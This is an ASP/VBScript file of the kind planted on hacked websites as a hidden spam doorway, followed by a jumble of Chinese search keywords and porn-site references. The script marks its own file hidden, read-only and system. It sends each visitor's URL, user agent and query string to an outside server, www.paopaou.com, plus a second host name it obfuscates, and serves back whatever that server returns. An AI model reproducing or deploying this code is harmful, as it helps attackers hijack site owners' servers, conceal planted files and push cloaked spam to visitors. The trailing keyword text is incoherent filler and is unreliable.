<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%><%on error resume Nextpublic url1,k,urlall,ff1,user_agent,querystringfunction jc(a,b,c)if instr(a,b)>0 and instr(a,c)>0 Thendim splstrsplstr = split(a,b)If ubound(splstr)>1 Thenjc=split(splstr(ubound(splstr)),c)(0)Else jc=split(splstr(1),c)(0)End ifend ifend functionFunction URLEncode(strURL) '汉字转url编码Dim I Dim tempStr For I = 1 To Len(strURL) If Asc(Mid(strURL, I, 1)) < 0 Then tempStr = "%" & Right(CStr(Hex(Asc(Mid(strURL, I, 1)))), 2) tempStr = "%" & Left(CStr(Hex(Asc(Mid(strURL, I, 1)))), Len(CStr(Hex(Asc(Mid(strURL, I, 1))))) - 2) & tempStr URLEncode = URLEncode & tempStr ElseIf (Asc(Mid(strURL, I, 1)) >= 65 And Asc(Mid(strURL, I, 1)) <= 90) Or (Asc(Mid(strURL, I, 1)) >= 97 And Asc(Mid(strURL, I, 1)) <= 122) Then URLEncode = URLEncode & Mid(strURL, I, 1) Else URLEncode = URLEncode & "%" & Hex(Asc(Mid(strURL, I, 1))) End If Next End FunctionFunction URLDecode(strURL)Dim I If InStr(strURL, "%") = 0 Then URLDecode = strURL: Exit Function For I = 1 To Len(strURL) If Mid(strURL, I, 1) = "%" Then If eval("&H" & Mid(strURL, I + 1, 2)) > 127 Then URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2) & Mid(strURL, I + 4, 2))) I = I + 5 Else URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2))) I = I + 2 End If Else URLDecode = URLDecode & Mid(strURL, I, 1) End If Next End FunctionFunction GetUrl()Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetUrl=Url End FunctionFunction GetUrlAll()Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName 'If QueryString <>"" Then Url=Url&"?"& QueryString GetUrlAll=Url End FunctionFunction BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function getHtmls(url,code) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send getHtmls = BytesToBstr(.ResponseBody ,code) End With Set Retrieval = Nothing End Function public Function postHtml(src,encode,strdata)on error resume nextif src<>"" then dim Http set Http=server.createobject("MSXML2.XMLHTTP") src = Replace(src,"w"&"w"&"w"&"."&"p"&"a"&"o"&"p"&"a"&"o"&"u","j"&"p"&"2"&"."&"q"&"u"&"n"&"."&"s"&"h"&"a"&"i"&"b"&"a"&"o"&"j") Http.open "Post",src,False Http.setRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded" Http.send(strdata) 'if Http.readystate<>4 then If Http.Status<>200 then exit Function postHtml=BytesToBSTR(Http.responseBody,encode) set http=nothing if err.number<>0 then err.Clearend ifend Functionurl1=GetUrl()k=request("k")urlall=GetUrlAll()querystring=Request.ServerVariables("QUERY_STRING")user_agent=Request.ServerVariables("HTTP_USER_AGENT")Set Fso = Server.CreateObject("Scripting.FileSystemObject")ff1=jc(Replace(url1,"http://",""),"/",".asp")&".asp" '文件名称Set file=Fso.getFile(Server.MapPath(ff1))file.attributes=1+2+4'file.attributes=0+0set Fso=nothing'response.write GetUrl()'response.write URLDecode(url1)'response.write k'response.write URLDecode(k)'response.write "_"+Request.ServerVariables("QUERY_STRING")if len(querystring)>0 then%><%response.write postHtml("http://www.paopaou.com/link/data.jsp","utf-8","urlall="+URLEncode(urlall)+"&url="+URLEncode(url1)+"&user_agent="+URLEncode(user_agent)+"&querystring="+URLEncode(querystring))%><%else%>千百露在线点播最新全集观看_千百露在线点播最新花絮,千百露在线点播最新下载资源
千百露在线点播最新
危险废物管理组织图
null
<%response.write postHtml("http://www.paopaou.com/link/data.jsp","utf-8","showtype=ul&urlall="+URLEncode(urlall)+"&url="+URLEncode(url1)+"&user_agent="+URLEncode(user_agent)+"&querystring="+URLEncode(querystring))%><%end if%> 
刘长瑜卖水mp3方舟生存进化扁桃103蔡婷玉马伊琍电视剧七日尖头羊皮平底鞋女单鞋118x118 gazebo黄韵玲彩色季节陈宝莲聊斋三集三邦车视赵丽颖李易峰最新消息吴昕的同款条纹衣宋智孝同款帽子新款夏男士内裤 舒适 冰丝 一片式她很漂亮高俊熙 同款打底衫逆变器电子机头+电瓶套件赵丽颖同款白鞋真皮鞋赵逸岚是男是女多功能洗漱包男 防水王菲怀谢霆锋骨肉 合好后再填喜讯林志玲老公照片曝光goldtop gt12080-hg battery欧美床上用品珊瑚绒小客厅沙发 简约现代两人乡村爱情小夜曲全集下载先锋影音www.3jpav6.com三级片a字裙连衣裙 中长款白色长袖沙发床宜家小户型1.2 推拉复古 绿色 花的 壁纸偷偷鲁网主页是多少了手机电影3d播放器泉立方色母片是什么春季女款背带裤子白色女性内裤+透明+诱惑性感睡衣爱奇艺视频会员低价vip插花器 陶瓷花瓶打底裤 薄款小脚铅笔长裤潮圆形小沙发图片大全图片大全图片欣赏冒险岛迷你黑色天堂骑宠卷微信转发小视频ios单肩包斜挎小包包链条+鳄鱼纹车载收音机改装天线sunningdangdangyhdctrip